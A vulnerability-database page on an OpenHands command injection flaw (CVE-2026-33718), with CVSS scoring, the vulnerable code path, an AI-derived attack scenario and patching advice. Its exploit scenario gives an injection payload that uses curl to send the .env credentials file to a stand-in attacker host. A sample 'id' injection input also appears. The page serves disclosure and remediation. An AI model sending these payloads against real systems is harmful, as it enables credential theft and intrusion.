Skip to main content

Python CVE-2026-33718

HIGH
OS Command Injection (CWE-78)
2026-03-25 https://github.com/OpenHands/OpenHands GHSA-7h8w-hj9j-8rjw
7.6
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to OpenHands API
  2. Exploit
    Send crafted path parameter to /api/conversations/{id}/git/diff endpoint
  3. Execution
    Inject shell metacharacters into unsanitized path variable
  4. Impact
    Execute arbitrary commands in agent sandbox

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authenticated user with API access to OpenHands. Attacker must send crafted request to /api/conversations/{conversation_id}/git/diff endpoint with unsanitized path parameter. No victim interaction required. Requires OpenHands with Git handler enabled.

Impact

The real-world risk is moderate to high for exposed OpenHands deployments. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L indicates network-accessible exploitation with low attack complexity, but requires low-privilege authentication (PR:L), which reduces the attack surface compared to unauthenticated vulnerabilities. The attack is highly automatable once an attacker has valid credentials. While no EPSS score or KEV listing suggests widespread exploitation, the availability of detailed vulnerability information in the GitHub advisory and the straightforward nature of command injection make this readily exploitable. The technical impact is significant within the container context (arbitrary command execution as root), though the scope is unchanged (S:U), meaning the attacker is confined to the runtime container unless container escape vulnerabilities exist. The vendor has released a patch, indicating acknowledgment of real risk. For organizations running OpenHands with authenticated users who may not be fully trusted, this represents a genuine priority requiring prompt patching, especially since the description notes this bypasses normal agent command channels and could be used for privilege escalation or data exfiltration within the sandbox environment.

Exploit ScenarioDerived

An authenticated attacker crafts an HTTP GET request to /api/conversations/{id}/git/diff with a malicious path parameter such as test"; curl http://attacker.com/exfil -d @/openhands/.env #. The unsanitized input is interpolated into the shell command, causing the runtime container to execute the curl command, exfiltrating the .env file containing API keys and credentials to the attacker's server. The attacker could then establish a reverse shell for persistent access or read sensitive source code and configuration files. Given the low attack complexity (AC:L) and network attack vector (AV:N), exploitation requires only valid application credentials and basic understanding of shell command syntax.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 25, 2026

A Command Injection vulnerability in OpenHands allows authenticated users to execute arbitrary commands in the agent sandbox by injecting shell metacharacters into the path parameter of the /api/conversations/{conversation_id}/git/diff API endpoint. The vulnerability affects OpenHands installations exposing this endpoint, with a CVSS score of 7.6. A patch is available via PR #13051, and while no EPSS or KEV data indicates active exploitation, the vulnerability is easily exploitable by any authenticated user.

RemediationAI

Update OpenHands to the latest version incorporating the security fix from PR #13051 available at https://github.com/OpenHands/OpenHands/pull/13051. The patch replaces unsafe shell string formatting with proper argument array handling or implements rigorous path sanitization to prevent command injection. Until patching is possible, restrict access to the /api/conversations/{conversation_id}/git/diff endpoint to only highly trusted authenticated users through API gateway rules or reverse proxy ACLs. Organizations can also consider implementing additional input validation at the API gateway layer to reject requests containing shell metacharacters in the path parameter, though this is a defense-in-depth measure and not a complete substitute for the vendor patch. Review the Python subprocess security considerations at https://docs.python.org/3/library/subprocess.html#security-considerations and OWASP Command Injection guidance at https://owasp.org/www-community/attacks/Command_Injection for additional context on secure implementation patterns.

Affected Packages

pypi openhands fix: 1.5.0
pypi openhands-ai fix: 1.5.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the OpenHands Python package (pkg:pip/openhands), specifically in the git_handler.py module's get_git_diff() method. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where user-controlled input from the file_path parameter is directly interpolated into a shell command string using Python's format() method. The constructed command is then executed via subprocess.run() with shell=True, enabling the shell to interpret metacharacters like semicolons, pipes, and backticks. The vulnerable code path spans multiple layers: the Flask API endpoint receives unsanitized input, passes it through the runtime layer, and ultimately constructs a command string python3 /openhands/code/openhands/runtime/utils/git_diff.py "{file_path}" where the file_path placeholder is replaced without validation. This violates Python subprocess security best practices documented in the official Python documentation, which recommends using argument arrays instead of shell=True with string formatting.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.6 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 25, 2026 - 22:02 nvd
Patch available
CVE Published
Mar 25, 2026 - 21:54 nvd
HIGH 7.6

DescriptionGitHub Advisory

Summary

A Command Injection vulnerability exists in the get_git_diff() method at openhands/runtime/utils/git_handler.py:134. The path parameter from the /api/conversations/{conversation_id}/git/diff API endpoint is passed unsanitized to a shell command, allowing authenticated attackers to execute arbitrary commands in the agent sandbox. The user is already allowed to instruct the agent to execute commands, but this bypasses the normal channels.

---

Details

Vulnerable Code Path

The vulnerability flows through these files:

  1. API Endpoint (openhands/server/routes/files.py:267-277)
python
@app.get('/git/diff')
async def git_diff(
    path: str,
# <-- User input from HTTP request
    ...
):
    ...
    diff = await call_sync_from_async(runtime.get_git_diff, path, cwd)
# No sanitization
  1. Runtime (openhands/runtime/base.py:1231-1233)
python
def get_git_diff(self, file_path: str, cwd: str) -> dict[str, str]:
    self.git_handler.set_cwd(cwd)
    return self.git_handler.get_git_diff(file_path)
# Passed directly
  1. Vulnerable Method (openhands/runtime/utils/git_handler.py:10-12, 134)
python
# Command template with placeholder
GIT_DIFF_CMD = 'python3 /openhands/code/openhands/runtime/utils/git_diff.py "{file_path}"'
# Line 134 - VULNERABLE: User input directly interpolated
result = self.execute(self.git_diff_cmd.format(file_path=file_path), self.cwd)
  1. Shell Execution (openhands/runtime/utils/git_diff.py:25-27)
python
def run(cmd: str, cwd: str) -> str:
    result = subprocess.run(
        args=cmd,
        shell=True,
# <-- Enables shell metacharacter interpretation
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        cwd=cwd
    )

Root Cause

The file_path parameter is directly interpolated into a shell command string using Python's .format() method without any sanitization. When this command is executed with shell=True, shell metacharacters like ", ;, and # are interpreted, allowing command injection.

Example:

  • Input: test"; id #
  • Constructed command: python3 /script.py "test"; id #"
  • Shell interprets as two commands: python3 /script.py "test" AND id

---

Impact

Who is Affected

  • All OpenHands deployments exposing the /api/conversations/{id}/git/diff endpoint
  • Any authenticated user can exploit this vulnerability,

Attack Capabilities

An attacker can:

  1. Execute arbitrary commands on the runtime container as root
  2. Read sensitive files including .env, API keys, source code
  3. Write arbitrary files to inject malicious code
  4. Establish reverse shells for persistent access
  5. Potentially escape the container if Docker is misconfigured

Mitigation

Users should update to the latest version of OpenHands that includes the changes from PR #13051. The fix replaces direct shell string formatting with proper argument array handling or rigorous path sanitization to prevent command chaining.

Executive ViewAI

Why It Matters

A command injection vulnerability in OpenHands allows authenticated users to execute arbitrary commands within the application sandbox, potentially compromising system integrity and data confidentiality. Organizations using OpenHands with exposed API endpoints face medium-to-high risk if user access controls are not properly implemented, as any authenticated user could escalate privileges or access sensitive information.

Business Impact: High
Compensating Controls

Apply vendor patch. If patching is delayed, implement network-layer access controls to restrict the /api/conversations/{conversation_id}/git/diff endpoint to trusted IP ranges; enforce strict authentication policies and disable the git/diff feature if not operationally required; implement WAF rules to detect and block shell metacharacters in the path parameter.

Threat Intelligence Overview

EPSS Score
0.2%
Top 55% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)GitHub Advisory

pkg:pip/openhands

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy